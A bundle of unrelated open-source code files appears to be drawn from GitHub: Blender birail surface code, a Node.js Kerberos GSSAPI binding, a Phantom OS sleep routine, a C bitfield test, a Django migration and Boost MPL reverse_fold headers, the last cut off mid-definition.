for iProfile in range(self.resolutionProfile): worldOffsetsProfileRail1.append(worldPointsProfileRail1[iProfile] - worldPoint0ProfileRail1)
worldStartPointProfileRail1 = worldPointsRail1[iRail]
worldEndPointProfileRail1 = worldStartPointProfileRail1 + worldOffsetsProfileRail1[-1]
v3From = worldEndPointProfileRail1 - worldStartPointProfileRail1
v3To = worldPointsRail2[iRail] - worldStartPointProfileRail1
if not v3From.magnitude == 0:
scaleFactorRail2 = v3To.magnitude / v3From.magnitude
else:
scaleFactorRail2 = 1
rotMatRail2 = mathematics.CalcRotationMatrix(v3From, v3To)
worldOffsetsProfileRail2 = []
for iProfile in range(self.resolutionProfile):
offsetProfileRail1 = worldOffsetsProfileRail1[iProfile]
worldOffsetsProfileRail2.append(rotMatRail2 @ (offsetProfileRail1 * scaleFactorRail2))
for iProfile in range(self.resolutionProfile):
iVert = self.vert0Index + (self.resolutionProfile * iRail) + iProfile
currVert = worldPointsRail1[iRail] + worldOffsetsProfileRail2[iProfile]
self.bMesh.verts[iVert].co = currVert
prevDerivativeRail1 = currDerivativeRail1
currWorldMatrixProfile = worldMatrixRail1 @ localRotMatRail1 @ currLocalProfileToLocalRail1
def AddFaces(self):
bmVerts = self.bMesh.verts
bmVerts.ensure_lookup_table()
for iRail in range(self.resolutionRails - 1):
for iProfile in range(self.resolutionProfile - 1):
currIndex1 = self.vert0Index + (self.resolutionProfile * iRail) + iProfile
currIndex2 = currIndex1 + 1
nextIndex1 = self.vert0Index + (self.resolutionProfile * (iRail + 1)) + iProfile
nextIndex2 = nextIndex1 + 1
self.bMesh.faces.new([bmVerts[currIndex1], bmVerts[currIndex2], bmVerts[nextIndex2], bmVerts[nextIndex1]])
class BirailedSurface:
@staticmethod
def FromSelection():
nrSelectedObjects = bpy.context.scene.curvetools.NrSelectedObjects
if nrSelectedObjects != 3: raise Exception("nrSelectedObjects != 3") # shouldn't be possible
selectedObjects = bpy.context.scene.curvetools.SelectedObjects
selectedObjectValues = selectedObjects.values()
curveName = selectedObjectValues[0].name
rail1BlenderCurve = None
try: rail1BlenderCurve = bpy.data.objects[curveName]
except: rail1BlenderCurve = None
if rail1BlenderCurve is None: raise Exception("rail1BlenderCurve is None")
curveName = selectedObjectValues[1].name
rail2BlenderCurve = None
try: rail2BlenderCurve = bpy.data.objects[curveName]
except: rail2BlenderCurve = None
if rail2BlenderCurve is None: raise Exception("rail2BlenderCurve is None")
curveName = selectedObjectValues[2].name
profileBlenderCurve = None
try: profileBlenderCurve = bpy.data.objects[curveName]
except: profileBlenderCurve = None
if profileBlenderCurve is None: raise Exception("profileBlenderCurve is None")
rail1Curve = curves.Curve(rail1BlenderCurve)
rail2Curve = curves.Curve(rail2BlenderCurve)
profileCurve = curves.Curve(profileBlenderCurve)
name = "TODO: autoname"
return BirailedSurface(rail1Curve, rail2Curve, profileCurve, name)
def __init__(self, rail1Curve, rail2Curve, profileCurve, name = "BirailedSurface"):
self.rail1Curve = rail1Curve
self.rail2Curve = rail2Curve
self.profileCurve = profileCurve
self.name = name
self.nrSplines = self.rail1Curve.nrSplines
if self.rail2Curve.nrSplines < self.nrSplines: self.nrSplines = self.rail2Curve.nrSplines
if self.profileCurve.nrSplines < self.nrSplines: self.nrSplines = self.profileCurve.nrSplines
self.bMesh = bmesh.new()
self.splineSurfaces = self.SetupSplineSurfaces()
self.Apply()
def SetupSplineSurfaces(self):
rvSplineSurfaces = []
currV0Index = 0
for i in range(self.nrSplines):
splineRail1 = self.rail1Curve.splines[i]
splineRail2 = self.rail2Curve.splines[i]
splineProfile = self.profileCurve.splines[i]
resProfile = splineProfile.resolution
resRails = splineRail1.resolution
if splineRail2.resolution < resRails: resRails = splineRail2.resolution
for iv in range(resProfile * resRails): self.bMesh.verts.new()
splSurf = BirailedSplineSurface(splineRail1, splineRail2, splineProfile, self.bMesh, currV0Index, resRails, resProfile)
splSurf.AddFaces()
rvSplineSurfaces.append(splSurf)
currV0Index += resProfile * resRails
return rvSplineSurfaces
def Apply(self):
for splineSurface in self.splineSurfaces: splineSurface.Apply(self.rail1Curve.worldMatrix, self.rail2Curve.worldMatrix, self.profileCurve.worldMatrix)
def AddToScene(self):
mesh = bpy.data.meshes.new("Mesh" + self.name)
self.bMesh.to_mesh(mesh)
mesh.update()
meshObject = bpy.data.objects.new(self.name, mesh)
bpy.context.collection.objects.link(meshObject)
| {
"pile_set_name": "Github"
} |
module.exports = require("./lib/_stream_transform.js")
| {
"pile_set_name": "Github"
} |
platform :ios, '9.2'
pod 'libsodium', '~> 1.0.3'
| {
"pile_set_name": "Github"
} |
/**
*
* Phantom OS multithreading library.
*
* Copyright (C) 2009-2010 Dmitry Zavalishin, [email protected]
*
* Sleep.
*
* Licensed under CPL 1.0, see LICENSE file.
*
**/
#define DEBUG_MSG_PREFIX "threads"
#include <debug_ext.h>
#define debug_level_flow 0
#define debug_level_error 10
#define debug_level_info 10
#include <hal.h>
#include <phantom_libc.h>
#include "thread_private.h"
#include <kernel/timedcall.h>
#include <phantom_libc.h>
void wake_sleeping_thread( void *arg )
{
phantom_thread_t *t = get_thread( (int)arg ); // arg is tid
if( t->sleep_event.lockp->lock )
{
SHOW_ERROR0( 0, "t->sleep_event.lockp.lock still locked");
}
thread_unblock( t, THREAD_SLEEP_SLEEP );
}
/**
*
* Blocks thread and registers callout to unblock it
* required time later.
*
**/
void
hal_sleep_msec( int timeMsec )
{
if(panic_reenter) return;
assert(threads_inited);
phantom_thread_t *t = GET_CURRENT_THREAD();
// save & dis preemtion
int ie = hal_save_cli();
hal_disable_preemption();
hal_spin_lock(&t->waitlock);
t->sleep_event.lockp = &t->waitlock;
//hal_spin_lock(&t->sleep_event.lock);
t->sleep_event.msecLater = timeMsec;
t->sleep_event.f = wake_sleeping_thread;
t->sleep_event.arg = (void *)t->tid;
phantom_request_timed_call( &t->sleep_event, TIMEDCALL_FLAG_CHECKLOCK );
//phantom_request_timed_func( wake_sleeping_thread, (void *)t->tid, timeMsec, 0 );
thread_block( THREAD_SLEEP_SLEEP, t->sleep_event.lockp );
hal_enable_preemption();
if(ie) hal_sti();
}
| {
"pile_set_name": "Github"
} |
#include "kerberos.h"
#include <stdlib.h>
#include "worker.h"
#include "kerberos_context.h"
#ifndef ARRAY_SIZE
# define ARRAY_SIZE(a) (sizeof((a)) / sizeof((a)[0]))
#endif
Persistent<FunctionTemplate> Kerberos::constructor_template;
// Call structs
typedef struct AuthGSSClientCall {
uint32_t flags;
char *uri;
} AuthGSSClientCall;
typedef struct AuthGSSClientStepCall {
KerberosContext *context;
char *challenge;
} AuthGSSClientStepCall;
typedef struct AuthGSSClientUnwrapCall {
KerberosContext *context;
char *challenge;
} AuthGSSClientUnwrapCall;
typedef struct AuthGSSClientWrapCall {
KerberosContext *context;
char *challenge;
char *user_name;
} AuthGSSClientWrapCall;
typedef struct AuthGSSClientCleanCall {
KerberosContext *context;
} AuthGSSClientCleanCall;
// VException object (causes throw in calling code)
static Handle<Value> VException(const char *msg) {
HandleScope scope;
return ThrowException(Exception::Error(String::New(msg)));
}
Kerberos::Kerberos() : ObjectWrap() {
}
void Kerberos::Initialize(v8::Handle<v8::Object> target) {
// Grab the scope of the call from Node
HandleScope scope;
// Define a new function template
Local<FunctionTemplate> t = FunctionTemplate::New(Kerberos::New);
constructor_template = Persistent<FunctionTemplate>::New(t);
constructor_template->InstanceTemplate()->SetInternalFieldCount(1);
constructor_template->SetClassName(String::NewSymbol("Kerberos"));
// Set up method for the Kerberos instance
NODE_SET_PROTOTYPE_METHOD(constructor_template, "authGSSClientInit", AuthGSSClientInit);
NODE_SET_PROTOTYPE_METHOD(constructor_template, "authGSSClientStep", AuthGSSClientStep);
NODE_SET_PROTOTYPE_METHOD(constructor_template, "authGSSClientUnwrap", AuthGSSClientUnwrap);
NODE_SET_PROTOTYPE_METHOD(constructor_template, "authGSSClientWrap", AuthGSSClientWrap);
NODE_SET_PROTOTYPE_METHOD(constructor_template, "authGSSClientClean", AuthGSSClientClean);
// Set the symbol
target->ForceSet(String::NewSymbol("Kerberos"), constructor_template->GetFunction());
}
Handle<Value> Kerberos::New(const Arguments &args) {
// Create a Kerberos instance
Kerberos *kerberos = new Kerberos();
// Return the kerberos object
kerberos->Wrap(args.This());
return args.This();
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// authGSSClientInit
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
static void _authGSSClientInit(Worker *worker) {
gss_client_state *state;
gss_client_response *response;
// Allocate state
state = (gss_client_state *)malloc(sizeof(gss_client_state));
// Unpack the parameter data struct
AuthGSSClientCall *call = (AuthGSSClientCall *)worker->parameters;
// Start the kerberos client
response = authenticate_gss_client_init(call->uri, call->flags, state);
// Release the parameter struct memory
free(call->uri);
free(call);
// If we have an error mark worker as having had an error
if(response->return_code == AUTH_GSS_ERROR) {
worker->error = TRUE;
worker->error_code = response->return_code;
worker->error_message = response->message;
} else {
worker->return_value = state;
}
// Free structure
free(response);
}
static Handle<Value> _map_authGSSClientInit(Worker *worker) {
HandleScope scope;
KerberosContext *context = KerberosContext::New();
context->state = (gss_client_state *)worker->return_value;
// Persistent<Value> _context = Persistent<Value>::New(context->handle_);
return scope.Close(context->handle_);
}
// Initialize method
Handle<Value> Kerberos::AuthGSSClientInit(const Arguments &args) {
HandleScope scope;
// Ensure valid call
if(args.Length() != 3) return VException("Requires a service string uri, integer flags and a callback function");
if(args.Length() == 3 && !args[0]->IsString() && !args[1]->IsInt32() && !args[2]->IsFunction())
return VException("Requires a service string uri, integer flags and a callback function");
Local<String> service = args[0]->ToString();
// Convert uri string to c-string
char *service_str = (char *)calloc(service->Utf8Length() + 1, sizeof(char));
// Write v8 string to c-string
service->WriteUtf8(service_str);
// Allocate a structure
AuthGSSClientCall *call = (AuthGSSClientCall *)calloc(1, sizeof(AuthGSSClientCall));
call->flags =args[1]->ToInt32()->Uint32Value();
call->uri = service_str;
// Unpack the callback
Local<Function> callback = Local<Function>::Cast(args[2]);
// Let's allocate some space
Worker *worker = new Worker();
worker->error = false;
worker->request.data = worker;
worker->callback = Persistent<Function>::New(callback);
worker->parameters = call;
worker->execute = _authGSSClientInit;
worker->mapper = _map_authGSSClientInit;
// Schedule the worker with lib_uv
uv_queue_work(uv_default_loop(), &worker->request, Kerberos::Process, (uv_after_work_cb)Kerberos::After);
// Return no value as it's callback based
return scope.Close(Undefined());
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// authGSSClientStep
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
static void _authGSSClientStep(Worker *worker) {
gss_client_state *state;
gss_client_response *response;
char *challenge;
// Unpack the parameter data struct
AuthGSSClientStepCall *call = (AuthGSSClientStepCall *)worker->parameters;
// Get the state
state = call->context->state;
challenge = call->challenge;
// Check what kind of challenge we have
if(call->challenge == NULL) {
challenge = (char *)"";
}
// Perform authentication step
response = authenticate_gss_client_step(state, challenge);
// If we have an error mark worker as having had an error
if(response->return_code == AUTH_GSS_ERROR) {
worker->error = TRUE;
worker->error_code = response->return_code;
worker->error_message = response->message;
} else {
worker->return_code = response->return_code;
}
// Free up structure
if(call->challenge != NULL) free(call->challenge);
free(call);
free(response);
}
static Handle<Value> _map_authGSSClientStep(Worker *worker) {
HandleScope scope;
// Return the return code
return scope.Close(Int32::New(worker->return_code));
}
// Initialize method
Handle<Value> Kerberos::AuthGSSClientStep(const Arguments &args) {
HandleScope scope;
// Ensure valid call
if(args.Length() != 2 && args.Length() != 3) return VException("Requires a GSS context, optional challenge string and callback function");
if(args.Length() == 2 && !KerberosContext::HasInstance(args[0])) return VException("Requires a GSS context, optional challenge string and callback function");
if(args.Length() == 3 && !KerberosContext::HasInstance(args[0]) && !args[1]->IsString()) return VException("Requires a GSS context, optional challenge string and callback function");
// Challenge string
char *challenge_str = NULL;
// Let's unpack the parameters
Local<Object> object = args[0]->ToObject();
KerberosContext *kerberos_context = KerberosContext::Unwrap<KerberosContext>(object);
// If we have a challenge string
if(args.Length() == 3) {
// Unpack the challenge string
Local<String> challenge = args[1]->ToString();
// Convert uri string to c-string
challenge_str = (char *)calloc(challenge->Utf8Length() + 1, sizeof(char));
// Write v8 string to c-string
challenge->WriteUtf8(challenge_str);
}
// Allocate a structure
AuthGSSClientStepCall *call = (AuthGSSClientStepCall *)calloc(1, sizeof(AuthGSSClientCall));
call->context = kerberos_context;
call->challenge = challenge_str;
// Unpack the callback
Local<Function> callback = Local<Function>::Cast(args[2]);
// Let's allocate some space
Worker *worker = new Worker();
worker->error = false;
worker->request.data = worker;
worker->callback = Persistent<Function>::New(callback);
worker->parameters = call;
worker->execute = _authGSSClientStep;
worker->mapper = _map_authGSSClientStep;
// Schedule the worker with lib_uv
uv_queue_work(uv_default_loop(), &worker->request, Kerberos::Process, (uv_after_work_cb)Kerberos::After);
// Return no value as it's callback based
return scope.Close(Undefined());
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// authGSSClientUnwrap
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
static void _authGSSClientUnwrap(Worker *worker) {
gss_client_response *response;
char *challenge;
// Unpack the parameter data struct
AuthGSSClientUnwrapCall *call = (AuthGSSClientUnwrapCall *)worker->parameters;
challenge = call->challenge;
// Check what kind of challenge we have
if(call->challenge == NULL) {
challenge = (char *)"";
}
// Perform authentication step
response = authenticate_gss_client_unwrap(call->context->state, challenge);
// If we have an error mark worker as having had an error
if(response->return_code == AUTH_GSS_ERROR) {
worker->error = TRUE;
worker->error_code = response->return_code;
worker->error_message = response->message;
} else {
worker->return_code = response->return_code;
}
// Free up structure
if(call->challenge != NULL) free(call->challenge);
free(call);
free(response);
}
static Handle<Value> _map_authGSSClientUnwrap(Worker *worker) {
HandleScope scope;
// Return the return code
return scope.Close(Int32::New(worker->return_code));
}
// Initialize method
Handle<Value> Kerberos::AuthGSSClientUnwrap(const Arguments &args) {
HandleScope scope;
// Ensure valid call
if(args.Length() != 2 && args.Length() != 3) return VException("Requires a GSS context, optional challenge string and callback function");
if(args.Length() == 2 && !KerberosContext::HasInstance(args[0]) && !args[1]->IsFunction()) return VException("Requires a GSS context, optional challenge string and callback function");
if(args.Length() == 3 && !KerberosContext::HasInstance(args[0]) && !args[1]->IsString() && !args[2]->IsFunction()) return VException("Requires a GSS context, optional challenge string and callback function");
// Challenge string
char *challenge_str = NULL;
// Let's unpack the parameters
Local<Object> object = args[0]->ToObject();
KerberosContext *kerberos_context = KerberosContext::Unwrap<KerberosContext>(object);
// If we have a challenge string
if(args.Length() == 3) {
// Unpack the challenge string
Local<String> challenge = args[1]->ToString();
// Convert uri string to c-string
challenge_str = (char *)calloc(challenge->Utf8Length() + 1, sizeof(char));
// Write v8 string to c-string
challenge->WriteUtf8(challenge_str);
}
// Allocate a structure
AuthGSSClientUnwrapCall *call = (AuthGSSClientUnwrapCall *)calloc(1, sizeof(AuthGSSClientUnwrapCall));
call->context = kerberos_context;
call->challenge = challenge_str;
// Unpack the callback
Local<Function> callback = args.Length() == 3 ? Local<Function>::Cast(args[2]) : Local<Function>::Cast(args[1]);
// Let's allocate some space
Worker *worker = new Worker();
worker->error = false;
worker->request.data = worker;
worker->callback = Persistent<Function>::New(callback);
worker->parameters = call;
worker->execute = _authGSSClientUnwrap;
worker->mapper = _map_authGSSClientUnwrap;
// Schedule the worker with lib_uv
uv_queue_work(uv_default_loop(), &worker->request, Kerberos::Process, (uv_after_work_cb)Kerberos::After);
// Return no value as it's callback based
return scope.Close(Undefined());
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// authGSSClientWrap
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
static void _authGSSClientWrap(Worker *worker) {
gss_client_response *response;
char *user_name = NULL;
// Unpack the parameter data struct
AuthGSSClientWrapCall *call = (AuthGSSClientWrapCall *)worker->parameters;
user_name = call->user_name;
// Check what kind of challenge we have
if(call->user_name == NULL) {
user_name = (char *)"";
}
// Perform authentication step
response = authenticate_gss_client_wrap(call->context->state, call->challenge, user_name);
// If we have an error mark worker as having had an error
if(response->return_code == AUTH_GSS_ERROR) {
worker->error = TRUE;
worker->error_code = response->return_code;
worker->error_message = response->message;
} else {
worker->return_code = response->return_code;
}
// Free up structure
if(call->challenge != NULL) free(call->challenge);
if(call->user_name != NULL) free(call->user_name);
free(call);
free(response);
}
static Handle<Value> _map_authGSSClientWrap(Worker *worker) {
HandleScope scope;
// Return the return code
return scope.Close(Int32::New(worker->return_code));
}
// Initialize method
Handle<Value> Kerberos::AuthGSSClientWrap(const Arguments &args) {
HandleScope scope;
// Ensure valid call
if(args.Length() != 3 && args.Length() != 4) return VException("Requires a GSS context, the result from the authGSSClientResponse after authGSSClientUnwrap, optional user name and callback function");
if(args.Length() == 3 && !KerberosContext::HasInstance(args[0]) && !args[1]->IsString() && !args[2]->IsFunction()) return VException("Requires a GSS context, the result from the authGSSClientResponse after authGSSClientUnwrap, optional user name and callback function");
if(args.Length() == 4 && !KerberosContext::HasInstance(args[0]) && !args[1]->IsString() && !args[2]->IsString() && !args[2]->IsFunction()) return VException("Requires a GSS context, the result from the authGSSClientResponse after authGSSClientUnwrap, optional user name and callback function");
// Challenge string
char *challenge_str = NULL;
char *user_name_str = NULL;
// Let's unpack the kerberos context
Local<Object> object = args[0]->ToObject();
KerberosContext *kerberos_context = KerberosContext::Unwrap<KerberosContext>(object);
// Unpack the challenge string
Local<String> challenge = args[1]->ToString();
// Convert uri string to c-string
challenge_str = (char *)calloc(challenge->Utf8Length() + 1, sizeof(char));
// Write v8 string to c-string
challenge->WriteUtf8(challenge_str);
// If we have a user string
if(args.Length() == 4) {
// Unpack user name
Local<String> user_name = args[2]->ToString();
// Convert uri string to c-string
user_name_str = (char *)calloc(user_name->Utf8Length() + 1, sizeof(char));
// Write v8 string to c-string
user_name->WriteUtf8(user_name_str);
}
// Allocate a structure
AuthGSSClientWrapCall *call = (AuthGSSClientWrapCall *)calloc(1, sizeof(AuthGSSClientWrapCall));
call->context = kerberos_context;
call->challenge = challenge_str;
call->user_name = user_name_str;
// Unpack the callback
Local<Function> callback = args.Length() == 4 ? Local<Function>::Cast(args[3]) : Local<Function>::Cast(args[2]);
// Let's allocate some space
Worker *worker = new Worker();
worker->error = false;
worker->request.data = worker;
worker->callback = Persistent<Function>::New(callback);
worker->parameters = call;
worker->execute = _authGSSClientWrap;
worker->mapper = _map_authGSSClientWrap;
// Schedule the worker with lib_uv
uv_queue_work(uv_default_loop(), &worker->request, Kerberos::Process, (uv_after_work_cb)Kerberos::After);
// Return no value as it's callback based
return scope.Close(Undefined());
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// authGSSClientWrap
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
static void _authGSSClientClean(Worker *worker) {
gss_client_response *response;
// Unpack the parameter data struct
AuthGSSClientCleanCall *call = (AuthGSSClientCleanCall *)worker->parameters;
// Perform authentication step
response = authenticate_gss_client_clean(call->context->state);
// If we have an error mark worker as having had an error
if(response->return_code == AUTH_GSS_ERROR) {
worker->error = TRUE;
worker->error_code = response->return_code;
worker->error_message = response->message;
} else {
worker->return_code = response->return_code;
}
// Free up structure
free(call);
free(response);
}
static Handle<Value> _map_authGSSClientClean(Worker *worker) {
HandleScope scope;
// Return the return code
return scope.Close(Int32::New(worker->return_code));
}
// Initialize method
Handle<Value> Kerberos::AuthGSSClientClean(const Arguments &args) {
HandleScope scope;
// // Ensure valid call
if(args.Length() != 2) return VException("Requires a GSS context and callback function");
if(!KerberosContext::HasInstance(args[0]) && !args[1]->IsFunction()) return VException("Requires a GSS context and callback function");
// Let's unpack the kerberos context
Local<Object> object = args[0]->ToObject();
KerberosContext *kerberos_context = KerberosContext::Unwrap<KerberosContext>(object);
// Allocate a structure
AuthGSSClientCleanCall *call = (AuthGSSClientCleanCall *)calloc(1, sizeof(AuthGSSClientCleanCall));
call->context = kerberos_context;
// Unpack the callback
Local<Function> callback = Local<Function>::Cast(args[1]);
// Let's allocate some space
Worker *worker = new Worker();
worker->error = false;
worker->request.data = worker;
worker->callback = Persistent<Function>::New(callback);
worker->parameters = call;
worker->execute = _authGSSClientClean;
worker->mapper = _map_authGSSClientClean;
// Schedule the worker with lib_uv
uv_queue_work(uv_default_loop(), &worker->request, Kerberos::Process, (uv_after_work_cb)Kerberos::After);
// Return no value as it's callback based
return scope.Close(Undefined());
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
// UV Lib callbacks
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
void Kerberos::Process(uv_work_t* work_req) {
// Grab the worker
Worker *worker = static_cast<Worker*>(work_req->data);
// Execute the worker code
worker->execute(worker);
}
void Kerberos::After(uv_work_t* work_req) {
// Grab the scope of the call from Node
v8::HandleScope scope;
// Get the worker reference
Worker *worker = static_cast<Worker*>(work_req->data);
// If we have an error
if(worker->error) {
v8::Local<v8::Value> err = v8::Exception::Error(v8::String::New(worker->error_message));
Local<Object> obj = err->ToObject();
obj->Set(NODE_PSYMBOL("code"), Int32::New(worker->error_code));
v8::Local<v8::Value> args[2] = { err, v8::Local<v8::Value>::New(v8::Null()) };
// Execute the error
v8::TryCatch try_catch;
// Call the callback
worker->callback->Call(v8::Context::GetCurrent()->Global(), ARRAY_SIZE(args), args);
// If we have an exception handle it as a fatalexception
if (try_catch.HasCaught()) {
node::FatalException(try_catch);
}
} else {
// // Map the data
v8::Handle<v8::Value> result = worker->mapper(worker);
// Set up the callback with a null first
v8::Handle<v8::Value> args[2] = { v8::Local<v8::Value>::New(v8::Null()), result};
// Wrap the callback function call in a TryCatch so that we can call
// node's FatalException afterwards. This makes it possible to catch
// the exception from JavaScript land using the
// process.on('uncaughtException') event.
v8::TryCatch try_catch;
// Call the callback
worker->callback->Call(v8::Context::GetCurrent()->Global(), ARRAY_SIZE(args), args);
// If we have an exception handle it as a fatalexception
if (try_catch.HasCaught()) {
node::FatalException(try_catch);
}
}
// Clean up the memory
worker->callback.Dispose();
delete worker;
}
// Exporting function
extern "C" void init(Handle<Object> target) {
HandleScope scope;
Kerberos::Initialize(target);
KerberosContext::Initialize(target);
}
NODE_MODULE(kerberos, init);
| {
"pile_set_name": "Github"
} |
---
nodes:
- name: start
- name: go
continue: .9
edges:
- start: go
- go: go
| {
"pile_set_name": "Github"
} |
int printf(const char *, ...);
union A {
int:3;
char b;
} m = {'b'};
union {
int f0;
unsigned f1 : 25;
signed f2 : 4;
} f[] = {0x35CEB2D7L};
struct fields {
signed int foo:7;
unsigned int bar: (1 + 1);
unsigned int:0;
unsigned int baz:4;
int:0;
};
int main(void) {
struct fields test = {0};
struct fields *ref = &test;
test.foo = 127;
test.baz = ref->foo;
ref->bar = 3;
ref->foo += 1;
test.bar += 1;
printf("size: %lu\n", sizeof(test));
printf("%d, %d, %d\n", test.foo, ref->bar, test.baz);
printf("f: %d, %d, %d\n", f[0].f0, f[0].f1, f[0].f2);
printf("union: {%d} :: %lu\n", m.b, sizeof(union A));
return 0;
}
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-07-15 11:55
from __future__ import unicode_literals
import datetime as dt
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("event", "0002_auto_20170429_1018"),
]
operations = [
migrations.AlterField(
model_name="event",
name="date_from",
field=models.DateField(default=dt.date(2017, 7, 15)),
preserve_default=False,
),
migrations.AlterField(
model_name="event",
name="date_to",
field=models.DateField(default=dt.date(2017, 7, 15)),
preserve_default=False,
),
]
| {
"pile_set_name": "Github"
} |
// Copyright Aleksey Gurtovoy 2000-2004
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// *Preprocessed* version of the main "reverse_fold_impl.hpp" header
// -- DO NOT modify by hand!
namespace boost { namespace mpl { namespace aux {
/// forward declaration
template<
long N
, typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct reverse_fold_impl;
template< long N >
struct reverse_fold_chunk;
template<> struct reverse_fold_chunk<0>
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef fwd_state0 bkwd_state0;
typedef bkwd_state0 state;
typedef iter0 iterator;
};
};
template<> struct reverse_fold_chunk<1>
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef typename apply2< ForwardOp, fwd_state0, typename deref<iter0>::type >::type fwd_state1;
typedef typename mpl::next<iter0>::type iter1;
typedef fwd_state1 bkwd_state1;
typedef typename apply2< BackwardOp, bkwd_state1, typename deref<iter0>::type >::type bkwd_state0;
typedef bkwd_state0 state;
typedef iter1 iterator;
};
};
template<> struct reverse_fold_chunk<2>
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef typename apply2< ForwardOp, fwd_state0, typename deref<iter0>::type >::type fwd_state1;
typedef typename mpl::next<iter0>::type iter1;
typedef typename apply2< ForwardOp, fwd_state1, typename deref<iter1>::type >::type fwd_state2;
typedef typename mpl::next<iter1>::type iter2;
typedef fwd_state2 bkwd_state2;
typedef typename apply2< BackwardOp, bkwd_state2, typename deref<iter1>::type >::type bkwd_state1;
typedef typename apply2< BackwardOp, bkwd_state1, typename deref<iter0>::type >::type bkwd_state0;
typedef bkwd_state0 state;
typedef iter2 iterator;
};
};
template<> struct reverse_fold_chunk<3>
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef typename apply2< ForwardOp, fwd_state0, typename deref<iter0>::type >::type fwd_state1;
typedef typename mpl::next<iter0>::type iter1;
typedef typename apply2< ForwardOp, fwd_state1, typename deref<iter1>::type >::type fwd_state2;
typedef typename mpl::next<iter1>::type iter2;
typedef typename apply2< ForwardOp, fwd_state2, typename deref<iter2>::type >::type fwd_state3;
typedef typename mpl::next<iter2>::type iter3;
typedef fwd_state3 bkwd_state3;
typedef typename apply2< BackwardOp, bkwd_state3, typename deref<iter2>::type >::type bkwd_state2;
typedef typename apply2< BackwardOp, bkwd_state2, typename deref<iter1>::type >::type bkwd_state1;
typedef typename apply2< BackwardOp, bkwd_state1, typename deref<iter0>::type >::type bkwd_state0;
typedef bkwd_state0 state;
typedef iter3 iterator;
};
};
template<> struct reverse_fold_chunk<4>
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef typename apply2< ForwardOp, fwd_state0, typename deref<iter0>::type >::type fwd_state1;
typedef typename mpl::next<iter0>::type iter1;
typedef typename apply2< ForwardOp, fwd_state1, typename deref<iter1>::type >::type fwd_state2;
typedef typename mpl::next<iter1>::type iter2;
typedef typename apply2< ForwardOp, fwd_state2, typename deref<iter2>::type >::type fwd_state3;
typedef typename mpl::next<iter2>::type iter3;
typedef typename apply2< ForwardOp, fwd_state3, typename deref<iter3>::type >::type fwd_state4;
typedef typename mpl::next<iter3>::type iter4;
typedef fwd_state4 bkwd_state4;
typedef typename apply2< BackwardOp, bkwd_state4, typename deref<iter3>::type >::type bkwd_state3;
typedef typename apply2< BackwardOp, bkwd_state3, typename deref<iter2>::type >::type bkwd_state2;
typedef typename apply2< BackwardOp, bkwd_state2, typename deref<iter1>::type >::type bkwd_state1;
typedef typename apply2< BackwardOp, bkwd_state1, typename deref<iter0>::type >::type bkwd_state0;
typedef bkwd_state0 state;
typedef iter4 iterator;
};
};
template< long N >
struct reverse_fold_chunk
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef First iter0;
typedef State fwd_state0;
typedef typename apply2< ForwardOp, fwd_state0, typename deref<iter0>::type >::type fwd_state1;
typedef typename mpl::next<iter0>::type iter1;
typedef typename apply2< ForwardOp, fwd_state1, typename deref<iter1>::type >::type fwd_state2;
typedef typename mpl::next<iter1>::type iter2;
typedef typename apply2< ForwardOp, fwd_state2, typename deref<iter2>::type >::type fwd_state3;
typedef typename mpl::next<iter2>::type iter3;
typedef typename apply2< ForwardOp, fwd_state3, typename deref<iter3>::type >::type fwd_state4;
typedef typename mpl::next<iter3>::type iter4;
typedef reverse_fold_impl<
( (N - 4) < 0 ? 0 : N - 4 )
, iter4
, Last
, fwd_state4
, BackwardOp
, ForwardOp
> nested_chunk;
typedef typename nested_chunk::state bkwd_state4;
typedef typename apply2< BackwardOp, bkwd_state4, typename deref<iter3>::type >::type bkwd_state3;
typedef typename apply2< BackwardOp, bkwd_state3, typename deref<iter2>::type >::type bkwd_state2;
typedef typename apply2< BackwardOp, bkwd_state2, typename deref<iter1>::type >::type bkwd_state1;
typedef typename apply2< BackwardOp, bkwd_state1, typename deref<iter0>::type >::type bkwd_state0;
typedef bkwd_state0 state;
typedef typename nested_chunk::iterator iterator;
};
};
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct reverse_fold_step;
template<
typename Last
, typename State
>
struct reverse_fold_null_step
{
typedef Last iterator;
typedef State state;
};
template<>
struct reverse_fold_chunk< -1 >
{
template<
typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct result_
{
typedef typename if_<
typename is_same< First,Last >::type
, reverse_fold_null_step< Last,State >
, reverse_fold_step< First,Last,State,BackwardOp,ForwardOp >
>::type res_;
typedef typename res_::state state;
typedef typename res_::iterator iterator;
};
};
template<
typename First
